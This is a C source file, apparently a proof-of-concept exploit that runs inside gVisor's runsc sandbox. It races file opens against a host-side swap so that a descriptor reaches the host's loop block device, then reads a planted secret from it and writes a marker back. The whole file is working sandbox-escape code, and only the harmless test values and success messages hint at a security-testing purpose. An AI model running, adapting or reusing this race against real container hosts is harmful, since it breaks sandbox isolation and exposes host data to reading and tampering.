// guest_block_racer.c - runs inside production runsc.
// First primes target while it is definitely a regular file. It then signals
// the host swapper and races fresh O_TRUNC opens. A vulnerable won descriptor
// forwards aligned reads/writes to the host loop block device.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define SECRET_OFF 4096
#define MARKER_OFF 8192
#define IO_SIZE 4096
int main(int argc,char**argv){
 if(argc<5){fprintf(stderr,"usage: %s <path> <seconds> <secret> <marker>\n",argv[0]);return 2;}
 const char*path=argv[1],*secret=argv[3],*marker=argv[4];int secs=atoi(argv[2]);
 // Prime and close the cached S_IFREG dentry before any host swap starts.
 int prime=open(path,O_RDWR|O_CLOEXEC);if(prime<0){perror("prime regular target");return 2;}char x; ssize_t primed=read(prime,&x,1); if(primed<0){perror("prime read");return 2;} close(prime);
 int ready=open("/race/guest-ready",O_WRONLY|O_CREAT|O_CLOEXEC,0666);if(ready<0){perror("guest-ready");return 2;}close(ready);
 struct timespec waitstart,now;clock_gettime(CLOCK_MONOTONIC,&waitstart);
 while(access("/race/host-go",F_OK)!=0){clock_gettime(CLOCK_MONOTONIC,&now);if(now.tv_sec-waitstart.tv_sec>10){fprintf(stderr,"host-go timeout\n");return 2;}usleep(1000);}
 unsigned long opens=0,estale=0,eperm=0,regular=0,other=0;struct timespec start;clock_gettime(CLOCK_MONOTONIC,&start);
 for(;;){clock_gettime(CLOCK_MONOTONIC,&now);if(now.tv_sec-start.tv_sec>=secs)break;opens++;
  int fd=open(path,O_RDWR|O_TRUNC|O_CLOEXEC);
  if(fd<0){if(errno==ESTALE)estale++;else if(errno==EPERM)eperm++;else other++;continue;}
  void*mem=0;if(posix_memalign(&mem,IO_SIZE,IO_SIZE))return 2;memset(mem,0,IO_SIZE);errno=0;ssize_t n=pread(fd,mem,IO_SIZE,SECRET_OFF);
  if(n==0)regular++;
  else if(n==IO_SIZE&&!memcmp(mem,secret,strlen(secret))){
   printf("GUEST_HOST_BLOCK_READ: secret=%s opens=%lu offset=%d bytes=%zd\n",secret,opens,SECRET_OFF,n);
   memset(mem,0,IO_SIZE);memcpy(mem,marker,strlen(marker));errno=0;ssize_t w=pwrite(fd,mem,IO_SIZE,MARKER_OFF);
   printf("GUEST_HOST_BLOCK_WRITE: marker=%s offset=%d bytes=%zd errno=%d\n",marker,MARKER_OFF,w,w<0?errno:0);fsync(fd);fflush(stdout);free(mem);sleep(3);close(fd);return w==IO_SIZE?0:3;
  }else{other++;if(other<=3)fprintf(stderr,"probe pread=%zd errno=%d (%s)\n",n,errno,strerror(errno));}
  free(mem);close(fd);
 }
 printf("GUEST_HOST_BLOCK_NOWIN: opens=%lu regular=%lu estale=%lu eperm=%lu other=%lu\n",opens,regular,estale,eperm,other);return 1;
}
